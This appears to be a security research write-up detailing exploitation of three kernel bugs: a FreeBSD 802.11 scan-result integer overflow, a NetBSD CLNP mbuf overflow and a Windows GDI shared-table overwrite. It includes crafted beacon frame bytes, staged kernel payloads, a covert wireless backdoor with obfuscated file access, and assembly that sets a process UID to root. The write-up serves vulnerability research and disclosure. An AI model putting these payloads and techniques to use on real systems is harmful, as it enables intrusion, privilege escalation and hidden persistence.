FreeBSD 802.11 Remote Integer Overflow

Vulnerability found and exploit developed by

Karl Janmar <karl.janmar@bitsec.com>

IEEE802.11 framework in FreeBSD

The IEEE802.11 system in FreeBSD in its current shape is relatively new (around 2001). The framework unifies all the handling of wireless devices.

Problems faced auditing the code

Complex link-layer protocol

IEEE802.11 has a complex link-layer protocol, as a rough metric we compare the size of some input functions.

- IEEE802.11 input function, ieee80211_input(), 437 lines
- Ethernet input function, ether_input(), 107 lines
- Internet Protocol input function, ip_input(), 469 lines

Source-code hard to read

The code itself is not written to be easily read. It contains huge recursive switch-statements, for example a 274-line recursive switch-statement in the input function. Other examples are macros that include return statements and so on.

User-controlled data

The link-layer management in IEEE802.11 is unencrypted and unauthenticated, and because the traffic is transmitted in the air it's very easy for an attacker to manipulate state.

Issues found

An issue was found in an IOCTL, this issue was the result of a logical error. The vulnerability could allow a local user-process to disclose kernel-memory.

Another more interesting issue was also found, it is in a function called by the IOCTL which retrieves the list of access-points in a scan. This list is maintained by the kernel, and is built from beacon frames received.

Here is a snippet of the code in question:

```
static int
ieee80211_ioctl_getscanresults(struct ieee80211com *ic, struct ieee80211req *ireq)
{
      union {
            struct ieee80211req_scan_result res;
            char data[512];         /* XXX shrink? */
      } u;
      struct ieee80211req_scan_result *sr = &u.res;
      struct ieee80211_node_table *nt;
      struct ieee80211_node *ni;
      int error, space;
      u_int8_t *p, *cp;
```

```
        p = ireq->i_data;
        space = ireq->i_len;
        error = 0;

        /* XXX locking */
        nt =  &ic->ic_scan;
        TAILQ_FOREACH(ni, &nt->nt_node, ni_list) {
              /* NB: skip pre-scan node state */
              if (ni->ni_chan == IEEE80211_CHAN_ANYC)
                    continue;
              get_scan_result(sr, ni); <-- calc. isr_len and other struct variables
              if (sr->isr_len > sizeof(u))
                    continue;         /* XXX */
              if (space < sr->isr_len)
                    break;
              cp = (u_int8_t *)(sr+1);
              memcpy(cp, ni->ni_essid, ni->ni_esslen); <-- copy to u
              cp += ni->ni_esslen;
              if (ni->ni_wpa_ie != NULL) {
                    memcpy(cp, ni->ni_wpa_ie, 2+ni->ni_wpa_ie[1]); <-- copy to u
                    cp += 2+ni->ni_wpa_ie[1];
              }
              if (ni->ni_wme_ie != NULL) {
                    memcpy(cp, ni->ni_wme_ie, 2+ni->ni_wme_ie[1]);   <-- copy to u
                    cp += 2+ni->ni_wme_ie[1];
              }
              error = copyout(sr, p, sr->isr_len);
              if (error)
                    break;
              p += sr->isr_len;
              space -= sr->isr_len;
        }
        ireq->i_len -= space;
        return error;
}
```

This function iterates through a list of all access-points found by the system, for every access point it create a scan-result chunk that contains all the information known about the access point. This scan-result is first created on the stack into the area of the union u, and then copied to the userland process. The scan-result contain some fixed parameters like supported speed, privacy-mode etc. Then at the end there are some variable-sized fields: SSID and optionally WPA and WME fields.

The function get_scan_result() extract these fixed parameters and calculates the size of the resulting scan-result, we are going to take a deeper look into how that size is calculated.

Here is that code:

```
static void
get_scan_result(struct ieee80211req_scan_result *sr, const struct ieee80211_node *ni)
{
	struct ieee80211com *ic = ni->ni_ic;

	memset(sr, 0, sizeof(*sr));
	sr->isr_ssid_len = ni->ni_esslen;
	if (ni->ni_wpa_ie != NULL)
		sr->isr_ie_len += 2+ni->ni_wpa_ie[1];
	if (ni->ni_wme_ie != NULL)
		sr->isr_ie_len += 2+ni->ni_wme_ie[1]; <-- Add the sum of the optional fields
	sr->isr_len = sizeof(*sr) + sr->isr_ssid_len + sr->isr_ie_len;
	sr->isr_len = roundup(sr->isr_len, sizeof(u_int32_t));
	if (ni->ni_chan != IEEE80211_CHAN_ANYC) {
		sr->isr_freq = ni->ni_chan->ic_freq;
		sr->isr_flags = ni->ni_chan->ic_flags;
	}
	……
	<uninteresting code>
	……
}
```

At the point where the two optional field's lengths are added together, there is a flaw. The struct member isr_ie_len is defined as a uint8_t, and if these two fields has a combined length of more then 253 (2+2 are added for the head of the field) the result will result in an integer overflow. This in turn causes isr_len to be less then the actual size of all these fields together. Later on in the function get_scan_results() the individual sizes of these fields are being used while doing the memcpy(), this could potentially overflow the stack-area which holds the union u.

Test our theories

Now we need to test our theories, to do this effectively we insert hard-coded values for this function into the kernel. Then enable kernel debugging in the kernel config:

```
makeoptions    DEBUG=-g
options       GDB
options       DDB # optional
options       KDB
```

Then recompile and reboot the system with the new kernel. We make sure DDB is our current debugger:

```
$ sysctl –w debug.kdb.current=ddb
```

To trigger this particular code-path we call ifconfig with the “scan” command. Wow! We panic the kernel:

```
Fatal trap 12: page fault while in kernel mode
fault virtual address   = 0x41414155
fault code              = supervisor write, page not present
instruction pointer     = 0x20:0xc06c405c
stack pointer           = 0x28:0xd0c5e938
frame pointer           = 0x28:0xd0c5eb4c
code segment            = base 0x0, limit 0xfffff, type 0x1b
                        = DPL 0, pres 1, def32 1, gran 1
processor eflags        = interrupt enabled, resume, IOPL = 0
current process         = 203 (ifconfig)
[thread pid 203 tid 100058 ]
Stopped at      ieee80211_ioctl_getscanresults+0x120:   subw   %dx,0x14(%eax)
```

Now we need to figure out what could be done with this vulnerability, could this be triggered remotely?

When investigating this we find out that the 802.1X authenticator wpa_supplicant distributed with FreeBSD calls this particular IOCTL regularly. This userland-daemon is needed for authentication to access pointers providing better encryption/authentication then plain WEP like WPA-PSK.

Test on real system

To be able to test this for real we need to be able to send raw frames. The solution was to patch BPF in NetBSD (which share most of the wireless code with FreeBSD) so it was possible to send arbitrary raw ieee802.11 link-layer frames. BPF is *BSDs raw interface to the network devices.

Before sending any bogus beacon frames we want to switch to a better debugging environment though, GDB. A serial-cable is connected to the target machine and the target is being configured to use GDB as current debugger.

In /boot/device.hints, change the flags of the serial device:

```
hint.sio.0.flags="0x80”
```

Then switch default debugger:

```
$ sysctl –w debug.kdb.current=gdb
```

For more information see:

http://www.freebsd.org/doc/en_US.ISO8859-1/books/developers-handbook/kerneldebug.html

Sending beacon of death

A beacon-frame with large SSID, WPA and WME fields is prepared and sent from the attacking machine.

Frame seen in tcpdump output:

```
16:32:33.155795 0us BSSID:cc:cc:cc:cc:cc:cc DA:ff:ff:ff:ff:ff:ff SA:cc:cc:cc:cc:cc:cc Beacon
(XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX) [1.0* 2.0* 5.5 11.0 Mbit] ESS CH: 1
0x0000:  ceef f382 c40b 0000 6400 0100 0020 5858  ........d.....XX
0x0010:  5858 5858 5858 5858 5858 5858 5858 5858  XXXXXXXXXXXXXXXX
0x0020:  5858 5858 5858 5858 5858 5858 5858 0104  XXXXXXXXXXXXXX..
0x0030:  8284 0b16 0301 01dd fc00 50f2 0141 4141  ..........P..AAA
0x0040:  4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
...
0x0120:  4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0x0130:  4141 4141 41dd fd00 50f2 0201 4141 4141  AAAAA...P...AAAA
0x0140:  4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
...
0x0220:  4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0x0230:  4141 4141                                AAAA
```

Wow, this resulted in a panic on the target!

GDB-session from the debugger machine:

```
[New Thread 100058]

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 100058]
0xc06c405c in ieee80211_ioctl_getscanresults (ic=0x41414141, ireq=0x41414141)
   at ../../../net80211/ieee80211_ioctl.c:1047
1047         ireq->i_len -= space;

(gdb) print ireq
$1 = (struct ieee80211req *) 0x41414141

(gdb) bt
#0  0xc06c405c in ieee80211_ioctl_getscanresults (ic=0x41414141, ireq=0x41414141)
   at ../../../net80211/ieee80211_ioctl.c:1047
#1  0x41414141 in ?? ()
#2  0x41414141 in ?? ()
#3  0x41414141 in ?? ()
#4  0x41414141 in ?? ()
#5  0x41414141 in ?? ()
#6  0x41414141 in ?? ()
```

As we see here, the frame seems to be corrupted.

```
gdb) list ieee80211_ioctl_getscanresults
1003   static int
1004   ieee80211_ioctl_getscanresults(struct ieee80211com *ic, struct ieee80211req
*ireq)
1005   {
1006         union {
1007               struct ieee80211req_scan_result res;
1008               char data[512];       /* XXX shrink? */
1009         } u;
1010         struct ieee80211req_scan_result *sr = &u.res;
1011         struct ieee80211_node_table *nt;
```

We want to examine how much of the union (and possibly after) we have overwritten:

```
gdb) x/150xw &u
0xd0c5e960:    0x00fd2000    0x00000000    0x58585858    0x58585858
0xd0c5e970:    0x58585858    0x58585858    0x58585858    0x58585858
0xd0c5e980:    0x58585858    0x58585858    0x5000fcdd    0x414101f2
0xd0c5e990:    0x41414141    0x41414141    0x41414141    0x41414141
...
0xd0c5eb40:    0x41414141    0x41414141    0x41414141    0x41414141
0xd0c5eb50:    0x41414141    0x41414141    0x41414141    0x41414141
0xd0c5eb60:    0x41414141    0x41414141    0x41414141    0x41414141
0xd0c5eb70:    0x41414141    0x41414141    0x41414141    0x41414141
0xd0c5eb80:    0x41414141    0xd0c5eb41    0xc063b816    0xc1509d00
0xd0c5eb90:    0xc01c69eb    0xc16eec00
...
(gdb) print $ebp
$8 = (void *) 0xd0c5eb4c
```

We clearly see that we have overwritten over and past the frame-pointer and the saved return-address.

What to use as return-address

We need to find a suitable address for our return address. Kernel stack-addresses are totally unreliable in this case, they can't be used. A better option is to return into the kernel's .text segment, to an address which contains the instruction “jmp ESP” or equivalent.

A search in the GENERIC/i386 kernel image for interesting byte sequences using a small program written by the author:

```
$ search_instr.py  -s 0x003d4518 -f 0x00043c30 -v 0xc0443c30
FreeBSD_GENERIC_i386_6.0
0xc0444797: 0xff 0xd7, call *%edi
0xc04486c4: 0xff 0xd7, call *%edi
...
0xc044c5dd: 0xff 0xd7, call *%edi
0xc044dd3d: 0xff 0xe4, jmp *%esp
0xc0450109: 0xff 0xd1, call *%ecx
...
```

When the kernel returns from the exploited function, it will continue execution on the stack right after the overwritten return-address.

Stage1 payload

The initial payload needs to reside after the overwritten return-address, the area before can't be used reliably because other access-points could potentially overwrite this when the kernel iterates through the list. The payload needs to be limited to 32 bytes, after that there is a frame which is needed when returning from the exploited function.

The task of the stage1 payload is to locate the second stage. The second stage is located in the kernel-list of access-points, in that access-points WME field (which was sent in the beacon frame). When this is found, it jumps to it.

Stage2 payload

The second stage allocates kernel memory for the backdoor and then copies backdoor code from the WPA field for the “exploiting” access-point to the allocated area, saves away the original function pointer for the management frame handler and then replaces it with a pointer to the backdoor. When the second stage is finished it restores the frame of the function two levels down (the previous frame was corrupted by the overwrite) and sets the return result for ioctl to return an empty scan-list without errors.

Backdoor

The communication from the attacker to the backdoor is done by sending management-frames. The backdoor is called every time the victim is receiving a management-frame, the backdoor then looks for a magic number at a fixed offset and if this magic number matches it continues to process the frame as a command. If the magic number does not match it passes the frame to the original management-frame handler, in this way the ordinary function of the interface won't be interfered. The magic-number and payload is within a WPA IE field, so it's still a valid IEEE 802.11 frame.

The backdoor assumes a “bootstrap-command” as the first command since not all of the backdoor-code fits into stage 2, which simplifies the implementation of the exploit.

Backdoor commands

The backdoor handles the communication with the attacker, all the responses sent back to the attacker are sent with a probe-response frame and the payload-data is within the optional response-field of that frame. All frames are sent to/from faked MAC-addresses.

Ping backdoor

The ping command takes a 32-bit identifier as an argument and responds back with a pong-response which includes the identifier. This is used to verify the installation of the backdoor.

Upload backdoor-code

The upload command receives a portion of backdoor-code to insert in the backdoor along with and offset, this code can later be executed.

Execute backdoor-code

The execute command calls backdoor-code at a specific offset and with a variable size data-argument. The executed code can return resulting data, if any data is returned it's sent back as a response to the attacker by the backdoor.

Plug-ins

With the two primitives upload and execute, we can implement a dynamic plug-in facility. With this we can write relatively isolated backdoor functions that can be changed on-the-fly.

Fileserver plug-in

A small fileserver plug-in has been implemented, this has the ability to read files, stat files, write and create files. It does this directly at the VFS layer; no process will have those files associated. A variant of this fileserver which XOR-obfuscates the data has also been implemented. This way your filesystem won't show up in the tcpdump output. :)

Filesystem operations in kernel exploits

When doing FS operations in kernel exploits, do it as the kernel does it. Extract the essential calls needed for the operations; there is a lot of extra stuff the kernel does that you don't want, like handling filedescriptors.

The outlines for open and read example:

- Initialize a *struct nameidata* , the way NDINIT() macro does, this involves setting the filename.
- Make sure the current threads process has a working directory: td->td_proc->p_fd->fd_cdir = rootvnode;
- Try lookup vnode with *vn_open()*
- Do the actual read with *vn_rdwr()*
- Unlock and close vnode using *vn_close() and VOP_UNLOCK_APV()*

Some vnode operations are messy in assembly, disassembling the kernel could help getting a better understanding of the code in question.

Final words

The IEEE802.11 framework in *BSD is a huge work and deserve credits, it creates **one** interface for **all** wireless devices. This is a very nice thing, especially if you look at the situation of other operating-systems.

…though it might need some cleaning up and security auditing.

References

Mattew S. Gast; *802.11 Wireless Networks: The Definitive Guide (O'Reilly Networking)*

ISBN: 0596001835

Marshall K. McKusick, Keith Bostic, Michael J. Karels, John S. Quarterman; *The Design and Implementation of the 4.4BSD Operating System*

ISBN: 0-201-54979-4

NetBSD CLNP Local mbuf Overflow

Vulnerability found and exploit developed by

Christer Öberg <christer.oberg@bitsec.com>

The NetBSD CLNP vulnerability

The NetBSD vulnerability released at Blackhat Amsterdam 2007 was a straightforward buffer overflow vulnerability. A call to bcopy() is made without validating the user provided length argument. This leads to a mbuf pointer being overwritten and then subsequently passed to m_free(). The code that causes the vulnerability in clnp_route() is shown below, where dst->iosa_len comes from the user specified socket address (sockaddr_iso-struct):

```
bcopy(
    (caddr_t) dst,
    (caddr_t) & ro->ro_dst.siso_addr,
    1 + (unsigned) dst->isoa_len
);
```

In iso_pcbdetach() the overwritten mbuf pointer is passed to m_free():

```
if (isop->isop_options)
(void) m_free(isop->isop_options);
```

In order to exploit this vulnerability we need to understand what the m_free() function does and also understand the structure of mbufs. The m_free() function is shown below:

```
struct mbuf *
m_free(struct mbuf *m)
{
    struct mbuf *n;
    MFREE(m, n);
    return (n);
}

#define MFREE(m, n) \
    MBUFLOCK( \
        mbstat.m_mtypes[(m)->m_type]--; \
        if ((m)->m_flags & M_PKTHDR) \
        m_tag_delete_chain((m), NULL); \
        (n) = (m)->m_next; \
        _MOWNERREVOKE((m), 1, m->m_flags); \
        if ((m)->m_flags & M_EXT) { \
            m_ext_free(m, TRUE); \
        } else { \
            pool_cache_put(&mbpool_cache, (m)); \
        } \
)
```

Here are the macros and structs that define the mbuf structure in NetBSD:

```
#define MBUF_DEFINE(name, mhlen, mlen) \
    struct name { \
        struct m_hdr m_hdr; \
        union { \
            struct { \
            struct pkthdr MH_pkthdr; \
            union { \
                struct _m_ext MH_ext; \
                char MH_databuf[(mhlen)]; \
            } MH_dat; \
        } MH; \
        char M_databuf[(mlen)]; \
    } M_dat; \
}

struct m_hdr {
    struct mbuf *mh_next; /* next buffer in chain */
    struct mbuf *mh_nextpkt; /* next chain in queue/record */
    caddr_t mh_data; /* location of data */
    struct mowner *mh_owner; /* mbuf owner */
    int mh_len; /* amount of data in this mbuf */
    int mh_flags; /* flags; see below */
    paddr_t mh_paddr; /* physical address of mbuf */
    short mh_type; /* type of data in this mbuf */
};

struct pkthdr {
    struct ifnet *rcvif; /* rcv interface */
    SLIST_HEAD(packet_tags, m_tag) tags; /* list of packet tags */
    int len; /* total packet length */
    int csum_flags; /* checksum flags */
    u_int32_t csum_data; /* checksum data */
};

struct _m_ext {
    caddr_t ext_buf; /* start of buffer */
    void (*ext_free) /* free routine if not the usual */
    (struct mbuf *, caddr_t, size_t, void *);
    void *ext_arg; /* argument for ext_free */
    size_t ext_size; /* size of buffer, for ext_free */
    struct malloc_type *ext_type; /* malloc type */
    struct mbuf *ext_nextref;
    struct mbuf *ext_prevref;
    union {
        paddr_t extun_paddr; /* physical address (M_EXT_CLUSTER) */
                             /* pages (M_EXT_PAGES) */
#ifdef M_EXT_MAXPAGES
        struct vm_page *extun_pgs[M_EXT_MAXPAGES];
#endif
    } ext_un;
#define ext_paddr ext_un.extun_paddr
#define ext_pgs ext_un.extun_pgs
#ifdef DEBUG
    const char *ext_ofile;
    const char *ext_nfile;
    int ext_oline;
    int ext_nline;
    #endif
};

MBUF_DEFINE(mbuf, MHLEN, MLEN);
```

The m_free() function will call the MFREE macro which in its turn calls the m_ext_free() function provided that we have set the M_EXT flag on our mbuf.

The m_ext_free() function is shown below:

```
m_ext_free(struct mbuf *m, boolean_t dofree)
{
   if (MCLISREFERENCED(m)) {
      MCLDEREFERENCE(m);
   } else if (m->m_flags & M_CLUSTER) {
      pool_cache_put_paddr(m->m_ext.ext_arg,
      m->m_ext.ext_buf, m->m_ext.ext_paddr);
   } else if (m->m_ext.ext_free) {
      (*m->m_ext.ext_free)(dofree ? m : NULL, m->m_ext.ext_buf,
      m->m_ext.ext_size, m->m_ext.ext_arg);
      dofree = FALSE;
   } else {
      free(m->m_ext.ext_buf, m->m_ext.ext_type);
   }
   if (dofree)
      pool_cache_put(&mbpool_cache, m);
}
```

Only the first two and last two lines of that function are of interest provided that M_EXT is the only flag set in m_flags and that m_ext.ext_free is not set. In this scenario the two last lines of the function will put the mbuf into the mbpool_cache. Since it has no business being there it will cause some problems later. A solution for this problem will be presented later in this document. For now we will concentrate on elevating the process privileges. The MCLISREFERENCED and _MCLDEREFERENCE macros are shown below:

```
#define MCLISREFERENCED(m) ((m)->m_ext.ext_nextref != (m))
#define _MCLDEREFERENCE(m) \
   do { \
      (m)->m_ext.ext_nextref->m_ext.ext_prevref = \
      (m)->m_ext.ext_prevref; \
      (m)->m_ext.ext_prevref->m_ext.ext_nextref = \
      (m)->m_ext.ext_nextref; \
   } while (/* CONSTCOND */ 0)
```

MCLISREFERENCED(m) is true if our nextref pointer is not pointing to our own mbuf (i.e. there are more mbufs in the chain). If there are more mbufs in this chain the _MCLDEREFERENCE macro is executed, this macro unlinks the mbuf being freed from the chain by joining the neighboring mbufs.

Imagine passing an mbuf to this macro with the ext_nextref pointer set to 0xdeadbeef and the ext_prevref pointer set to 0xbadc0ded. Then the result of the macro being executed can be described by the following two C-statements where NN and PP are the offsets to ext_nextref and ext_prevref within the mbuf respectively:

```
*(unsigned *) (0xbadc0ded+NN) = 0xdeadbeef
*(unsigned *) (0xdeadbeef+PP) = 0xbadc0ded
```

This shows that the vulnerability enables us to write an arbitrary value to an arbitrary address using the _MCLDEREFERENCE macro since we do in fact control all aspects of the mbuf.

This can be used to subvert the flow of execution and elevate the process privileges. But before going into that we'll explore the m_ext_free() function further.

The m_ext_free() function is show below, with the interesting lines highlighted:

```
m_ext_free(struct mbuf *m, boolean_t dofree)
{
    if (MCLISREFERENCED(m)) {
        MCLDEREFERENCE(m);
    } else if (m->m_flags & M_CLUSTER) {
      pool_cache_put_paddr(m->m_ext.ext_arg,
      m->m_ext.ext_buf, m->m_ext.ext_paddr);
   } else if (m->m_ext.ext_free) {
        (*m->m_ext.ext_free)(dofree ? m : NULL, m->m_ext.ext_buf,
        m->m_ext.ext_size, m->m_ext.ext_arg);
        dofree = FALSE;
    } else {
      free(m->m_ext.ext_buf, m->m_ext.ext_type);
   }
    if (dofree)
        pool_cache_put(&mbpool_cache, m);
}
```

This time we don't want to exploit the unlinking of an mbuf. So we'll need to get the MCLISREFERENCED macro to evaluate false. This is achieved by referencing our own mbuf with the ext_nextref pointer.

The second block of highlighted code shows us a function pointer within the mbuf structure being called if it is set! It is trivial to point m_ext.ext_free variable to a memory location we control and start executing code there when the mbuf is passed to m_free()! Furthermore the variable dofree is set to false in the same code block, which means that no attempt will be made to push the mbuf back into mbpool_cache. This saves us the trouble of cleaning the pool up.

The exploit(s)

We have written two exploits for this issue, one using the unlink technique and the other one is using the ext_free function pointer.

As with any other vulnerability there are a number of steps that needs to be taken to achieve successful exploitation. In this case they roughly are developing a payload, redirecting execution flow to the payload and cleaning up so the kernel does not crash.

Lets start with the unlink technique exploit and its payload. The disassembly of its payload is shown below:

```
   movl allproc,%ecx
   movl evilpid,%edx
   pushl mbinit
find_pid_loop:
      movl (%ecx),%ecx
      movl 0x34(%ecx),%eax
      cmpl %eax,%edx
      jnz find_pid_loop
   movl 0x8(%ecx),%eax
   xorl %ecx,%ecx
   movl %ecx,0x4(%eax)
   ret
```

What the code does is essentially using the allproc symbol to traverse the linked list of proc structures until the PID (of the exploit process) is found then follow the credential structure pointer in the proc structure and change the UID of the process to 0 (root) and calling mbinit().

mbinit() is the function that is responsible for initializing the mbuf pool. The reason for calling is that it takes care of the mess we create pushing the “fake” mbuf back into the mbpool_cache.

The addresses to allproc and mbinit are obtained dynamically in the exploit at runtime and put into the payload before it is executed.

Since the kernel can access userland memory, the payload does not have to be copied into the kernel and returning to it becomes trivial since we know exactly where it is. We just simply return to the userland address of the payload! This is one of the nicer aspects local kernel exploits, even if the system got ASLR, non-executable areas (stack/heap/etc) or other protection mechanisms it becomes trivial to circumvent them. Just place the payload where you want it and you know exactly where to return. Should your preferred area of storage be marked as non-executable you can just mprotect() it to be executable before you return to it.

The last remaining piece for a working exploit is to find a way to redirect the execution flow to the payload using the four byte arbitrary memory overwrite m_ext_free() enables us to do.

There are a few candidates for this overwrite, a saved return address on the stack, a function pointer used by for example an obscure ioctl-function or sysent.

Whilst being the most obvious option, overwriting a saved return address has several drawbacks. One drawback is that there is no easy way of determining the address of the return address on the stack, another one is that once you overwrite the original it is gone and you still need to return to the original caller.

Ioctl has tons of function pointers associated with them. It certainly is possible to overwrite one of them and call the ioctl to have the execution flow transferred to the payload. But ioctl are meant to be called and what happens if someone else calls this ioctl? :) If you decide to go with an ioctl function pointer you definitely should clean up after yourself and restore it to the original. This can become a bit tricky since the function pointer may have originally pointed at a hardware specific function (think drivers)

The solution to all these problems is the sysent table, sysent is an array of function pointer to syscalls and information about them.

Unused / obsolete syscalls in this table points to sys_nosys(). We overwrite function pointer in this table for the obsolete syscall resuba (syscall 119) with the address of our payload. Then execute the syscall to execute our payload. Restoring the pointer post-exploitation would be trivial since the old value of the pointer being overwritten is known.

The second exploit is much simpler since we utilize the ext_free function pointer to transfer the flow of execution to our payload which is stored in a userland buffer just like in the previous exploit. Since we don't mess around with the mbpool_cache and have to resolve the address to mbinit() to clean it up a simpler payload can be used. The assembler source is shown below with comments:

```
movl %fs:0x4,%eax    /* cpu_info->ci_self    */
movl 0x14(%eax),%eax  /* ci_curlwp           */
movl 0x10(%eax),%eax  /* struct proc         */
movl 0x8(%eax),%eax   /* struct pcred        */
movl $0x0,0x4(%eax)   /* root please!        */
```

Windows GDI Local Kernel Memory Overwrite

Vulnerability researched and exploit developed by

Joel Eriksson <joel.eriksson@bitsec.com>

About the bug

The Graphics Device Interface, GDI, is part of the Win32-subsystem and is responsible for displaying graphics on devices such as video displays as well as printers.

Basic information about all GDI objects on the system are stored in a shared memory section named GdiSharedHandleTable. This table is automatically mapped read-only into every GUI-process on the system and its contents are only updated by the kernel.

Well, that is how it was supposed to be anyway. If one is able to determine the handle to the GdiSharedHandleTable shared memory section, it is possible to make an alternate mapping with full read-write access. Being able to write to data which only the kernel is supposed to write to can never be a good thing, depending on ones perspective of course.

This bug was found and reported to Microsoft by Cesar Cerrudo from Argeniss over two years ago now (2004-10-22), but was made public quite recently during the "Month of Kernel Bugs" project [1] in November 2006. Windows 2003 and Vista is not vulnerable, but all releases of Windows 2000 and XP still are. There is no patch or servicepack available that fixes this flaw.

When Cesar made the bug public, he made a PoC exploit available for crashing the system by filling the entire table with 0x58-chars. I expected a real exploit for the bug to be released shortly afterwards, but time went by and neither an exploit nor a patch was released. In January I decided to give it a try myself.

By this time I had no idea whether it was even possible to reliably exploit this vulnerability, since it was far from obvious judging from the PoC exploit and the crash it produced due to a read from NULL pointer.

Reliably determining the GDI section handle

The first problem I faced was to come up with a reliable way for determining the handle to the shared memory section. The PoC exploit bruteforced the handle and assumed that the first valid handle it found was to the GDI section, which was far from a safe assumption and actually wasn't the case on any of the systems I tested it on initially.

To come up with a more reliable method I first had to learn more about the contents of GdiSharedHandleTable. After googling around and learning more about GDI in general, reading various MSDN-articles [2] and other resources I could find I learned that GdiSharedHandleTable is an array of these structs:

```
typedef struct {
   DWORD pKernelInfo;   // Pointer to kernelspace GDI object data
   WORD ProcessID;      // Process ID
   WORD _nCount;        // Reference count?
   WORD nUpper;         // Upper 16 bits of GDI object handle
   WORD nType;          // GDI object type ID
   DWORD pUserInfo;     // Pointer to userspace GDI object data
} GDITableEntry;
```

The GdiSharedHandleTable array contains 0x4000 entries in Windows 2000 and 0x10000 entries in Windows XP. Since each entry occupies 16 bytes, the size of the GDI shared memory section is at least 0x40000 or 0x100000 bytes in Windows 2000 and Windows XP respectively.

Just checking that the size of memory section is at least 0x40000 / 0x100000 bytes large is actually often enough for reliably finding the GDI section, but not reliable enough for my taste. By examining the contents of the GDI table entries I should be able to determine whether I've really found the GDI table.

During my googling-session I had learned that a handle to a GDI object actually consisted of a 16-bits index into GdiSharedHandleTable, in the lower 16 bits, combined with a random 16-bit value, in the upper 16 bits, that should match the nUpper-field of the GDI table entry.

By creating a GDI object (like a window for instance, not necessarily a visible one though) I could sanity check each potential GDI section mapping by verifying that the nUpper-, ProcessID- and nType-fields for the GDI object I had created have the expected values.

Selected parts of the code I made for finding the GDI section:

```
hWnd = CreateWindow(0,0,0,0,0,0,0,0,0,0,0);
hDC  = GetDC(hWnd);
wIdx = (WORD) (((DWORD) hDC) & 0xffff);
wUpr = (WORD) (((DWORD) hDC) >> 16);
nPID = GetCurrentProcessId();
...
for (hMap = (HANDLE) 0; hMap < 0x10000; hMap++) {
   ... (map section and check its size)
   if (pGDI[wIdx].ProcessID    == nPID
   &&  pGDI[wIdx].wUpper      == wUpr
   && (pGDI[wIdx].wType & 0xFF) == 1)
      break;
}
```

Setting up a kernel debugging environment

For further research into the vulnerability I had to set up a decent debugging environment. I had no previous windows kernel debugging experience, so the first choice to make was what debugger to use.

The options available for serious kernel debugging in Windows have traditionally been SoftICE and Microsofts own WinDbg [3]. Since SoftICE is discontinued since a while back the choice was obvious. Besides being a very powerful kernel-mode debugger it also has the advantage of being free (as in beer).

The main drawback with using WinDBG is that it normally requires a two machine setup, for remote debugging through a serial port connection. Fortunately it is also possible to run the debuggee in a VMWare instance [4] and attach the virtual serial port to a named pipe, which can be attached to from WinDbg on the host or even connected to the virtual serial port of another VMWare instance in case you don't use Windows as the host OS.

Finding a way to exploit the bug

So, we know how to find the GDI section and we have debugging set up so we can see what is happening when we produce a crash. Now it's time to figure out a way to use this bug into doing something useful, from an attacker's point of view. The obvious points of attack are the pUserInfo and pKernelInfo pointers, since it is quite likely that some part of the objects they point to will at some time be dereferenced and written to, or even used as a function pointer.

By manipulating the pUserInfo pointer for a GDI object owned by a privileged process we might be able to achieve arbitrary code execution in the context of that process. The advantage of this would be that we don't have to write a kernel-mode payload, which might be challenging. On the other hand it is probably quite hard, perhaps even impossible, to find a reliable and generic way to exploit it this way. There might not even be a privileged process available that uses GDI-resources and even if there is we don't have control over what types of objects it creates or what GDI operations it calls. Thus, I didn't even bother with this approach. Also, attacking the kernel directly is way more fun. ;-)

By manipulating the pKernelInfo pointer we hope to be able to achieve a write to an arbitrary kernel-mode address, which would be trivial to turn into arbitrary code execution. When exploiting local kernel bugs any write-operation to an attacker-specified address is usually good enough for that. The reason for this is that even when we are not able to control the value that is written, we can almost always place our payload on the address the value represents. Even mapping the NULL page (address 0 to 0x1000) is possible:

```
dwAddr = 1;     // Can't use 0 directly, but this will be rounded down to 0. :)
ulSize = 0x1000; // 0x1000 bytes is more than enough for our payload
rc = NtAllocateVirtualMemory(
   (HANDLE) -1, (PVOID) &dwAddr, 0, &ulSize,
   MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE
);
```

The methodology used for finding a way to achieve an arbitrary memory overwrite was partially trial and error, by pointing the pKernelInfo pointer into specially crafted data, calling various GDI related system calls and observing in the debugger what happens. Besides crafting data and debugging I used static analysis of the WIN32K.SYS driver with IDA Pro to learn more about the GDI subsystem.

After some time of good old creative debugging I finally found a reliable way to write a certain fixed value to an arbitrary address. The value was a very low number and since I knew how to map the NULL page I could actually use this number as the payload address directly. Another possibility would be to use two partial overwrites to construct a higher address that can be mapped directly with VirtualAlloc().

My initial testing was done on Windows XP SP2 and I more or less assumed I would have to make some adjustments for achieving the overwrite Windows 2000 and perhaps even the previous XP servicepacks. Turns out this was not required, I had stumbled upon a completely reliable method for W2K/WXP *.

Determining where to write

At this point the only remaining step is to find a suitable function pointer to overwrite. While there probably are many function pointers in the kernel that potentially could be used, we specifically need to find one which fulfills these conditions:

- It should be possible to reliably determine its address
- It should be called in the context of our exploit process
- It should be rarely used, specifically it must not be used during the time between us overwriting it and us triggering a call to it within the context of our exploit (which would lead to a BSoD)

The obvious choice is to overwrite the syscall pointer for a rarely used system call. Triggering a call to it is then just a matter of triggering the 0x2E interrupt with EAX being set to the syscall number. If we need to pass arguments to the syscall we can pass a pointer to them in the EDX register. Here is code for doing it in with GCC/MinGW:

```
DWORD DoSysCall(DWORD dwSysCall, PDWORD pdwArgs)
{
   __asm__(
      “mov  %0,%%eax\n\t”
      “mov  %1,%%edx\n\t”
      “int  $0x2e\n\t”
      “add  $4,%%esp\n\t”
      :
      : “m”(pdwArgs), “m”(dwSysCall)
      : “eax”, “edx”
   );
}
```

So, where are the syscall pointers stored and how can we determine the address to them? Well, there are actually two kinds of syscalls, which are stored in two separate tables. First there is the native NT API provided by the core kernel NTOSKRNL.EXE, with its syscall pointers being stored in a table named KiServiceTable. Then there are the syscalls for the Win32 subsystem, which includes the GDI related syscalls. These are stored in a table in WIN32K.SYS which is called W32pServiceTable.

My first choice was using a pointer in KiServiceTable, which was quite convenient since there are documented ways to determine its address. Specifically, I used a method posted to the rootkit.com message board under the pseudonym 90210 [5] which should be very reliable.

